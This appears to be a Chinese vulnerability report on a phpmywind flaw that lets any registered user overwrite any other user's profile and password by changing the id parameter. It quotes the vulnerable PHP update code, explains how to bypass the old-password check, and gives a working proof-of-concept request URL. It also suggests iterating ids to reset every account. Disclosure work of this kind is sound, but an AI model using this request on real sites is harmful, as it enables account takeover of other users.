### 简要描述:
phpmywind水平权限漏洞一枚,可修改任意用户的任意资料包括密码
### 详细说明:
经过简单审核发现phpmywind 存在一处任意用户资料更新漏洞(包括密码)
因为phpmywind的密码采用双md5加密,即使存在注入,也很难跑出密码,所以感觉注入漏洞危害性还不如密码重置这类的漏洞,这里我就验证下密码重置这个漏洞,其实是可以修改任意用户的所有资料信息。
出现逻辑问题的代码位于member.php的第601行,上下文分别是
//更新资料
elseif($a == 'saveedit')
{
//检测数据完整性
if($password!=$repassword or$email=='')
{
header('location:?c=edit');
exit();
}
//HTML转义变量
$answer = htmlspecialchars($answer);
$cnname = htmlspecialchars($cnname);
$enname = htmlspecialchars($enname);
$cardnum = htmlspecialchars($cardnum);
$intro = htmlspecialchars($intro);
$email = htmlspecialchars($email);
$qqnum = htmlspecialchars($qqnum);
$mobile = htmlspecialchars($mobile);
$telephone =htmlspecialchars($telephone);
$address = htmlspecialchars($address);
$zipcode = htmlspecialchars($zipcode);
//检测旧密码是否正确
if($password != '')
{
$oldpassword =md5(md5($oldpassword));
$r =$dosql->GetOne("SELECT `password` FROM `#@__member` WHERE`username`='$c_uname'");
if($r['password'] !=$oldpassword)
{
ShowMsg('抱歉,旧密码错误!','-1');
exit();
}
}
$sql = "UPDATE `#@__member` SET";
if($password != '')
{
$password =md5(md5($password));
$sql .="password='$password', ";
}
@$sql .= "question='$question',answer='$answer', cnname='$cnname', enname='$enname', sex='$sex',birthtype='$birthtype', birth_year='$birth_year', birth_month='$birth_month',birth_day='$birth_day', astro='$astro', bloodtype='$bloodtype', trade='$trade',live_prov='$live_prov', live_city='$live_city', live_country='$live_country',home_prov='$home_prov', home_city='$home_city', home_country='$home_country',cardtype='$cardtype', cardnum='$cardnum', intro='$intro', email='$email',qqnum='$qqnum', mobile='$mobile', telephone='$telephone',address_prov='$address_prov', address_city='$address_city', address_country='$address_country',address='$address', zipcode='$zipcode' WHERE id=$id";
//可修改任意用户资料
if($dosql->ExecNoneQuery($sql))
{
ShowMsg('资料更新成功!','?c=edit');
exit();
}
}
这段代码的功能是更新用户资料(包含密码)
问题的关键点在执行sql语句
@$sql.= "question='$question', answer='$answer', cnname='$cnname',enname='$enname', sex='$sex', birthtype='$birthtype', birth_year='$birth_year',birth_month='$birth_month', birth_day='$birth_day', astro='$astro',bloodtype='$bloodtype', trade='$trade', live_prov='$live_prov',live_city='$live_city', live_country='$live_country', home_prov='$home_prov',home_city='$home_city', home_country='$home_country', cardtype='$cardtype',cardnum='$cardnum', intro='$intro', email='$email', qqnum='$qqnum',mobile='$mobile', telephone='$telephone', address_prov='$address_prov',address_city='$address_city', address_country='$address_country',address='$address', zipcode='$zipcode' WHERE id=$id";
的执行判断条件上,where后的id是可以通过参数进行修改的,而之后没有其他验证条件,导致了水平权限的问题。
触发这条SQL语句需要绕过前面的一些验证
if($password!=$repasswordor $email=='')
{
header('location:?c=edit');
exit();
}
只要在url中带入password,repassword,email 使不为空,让password=repassword就可以,这个password就是重置后的密码
//检测旧密码是否正确
if($password != '')
{
$oldpassword =md5(md5($oldpassword));
$r = $dosql->GetOne("SELECT`password` FROM `#@__member` WHERE `username`='$c_uname'");
if($r['password'] !=$oldpassword)
{
ShowMsg('抱歉,旧密码错误!','-1');
exit();
}
}
这个地方也很好绕过,注册个账号,在url中填入c_uname为注册的账号,oldpassword为注册的密码就可以。
以上就是绕过的方法,然后就可以任意设置id修改任意用户的密码,当然想要修改资料的话通过在url中添加
$answer = htmlspecialchars($answer);
$cnname = htmlspecialchars($cnname);
$enname = htmlspecialchars($enname);
$cardnum = htmlspecialchars($cardnum);
$intro = htmlspecialchars($intro);
$email = htmlspecialchars($email);
$qqnum = htmlspecialchars($qqnum);
$mobile = htmlspecialchars($mobile);
$telephone =htmlspecialchars($telephone);
$address = htmlspecialchars($address);
$zipcode = htmlspecialchars($zipcode);
这些对应的变量就可以。
验证一下吧
我首先注册了两个用户listen1 和listen2 密码都是listen
尝试用listen1修改listen2的密码为123456
登陆listen1,构造请求发送
http://127.0.0.1/phpmywind/member.php?a=saveedit&c_uname=listen1&oldpassword=listen&password=123456&id=4&repassword=123456&email=123
[<img src="https://images.seebug.org/upload/201410/15161042db10af1b92bb8f533218b9cdfeef8b35.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/15161042db10af1b92bb8f533218b9cdfeef8b35.png)
listen2用户的id是4,这个无关紧要,对于一个攻击者,他宁愿通过遍历把所有用户密码修改掉。
发送链接
[<img src="https://images.seebug.org/upload/201410/151610581c9a02c5e1cec334c1a75297faad3254.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/151610581c9a02c5e1cec334c1a75297faad3254.png)
OK
修改成功!
经测试listen2密码确实被修改为123456
你们可以自行验证,有问题联系franklin1990@126.com
### 漏洞证明:
如上测试
暂无评论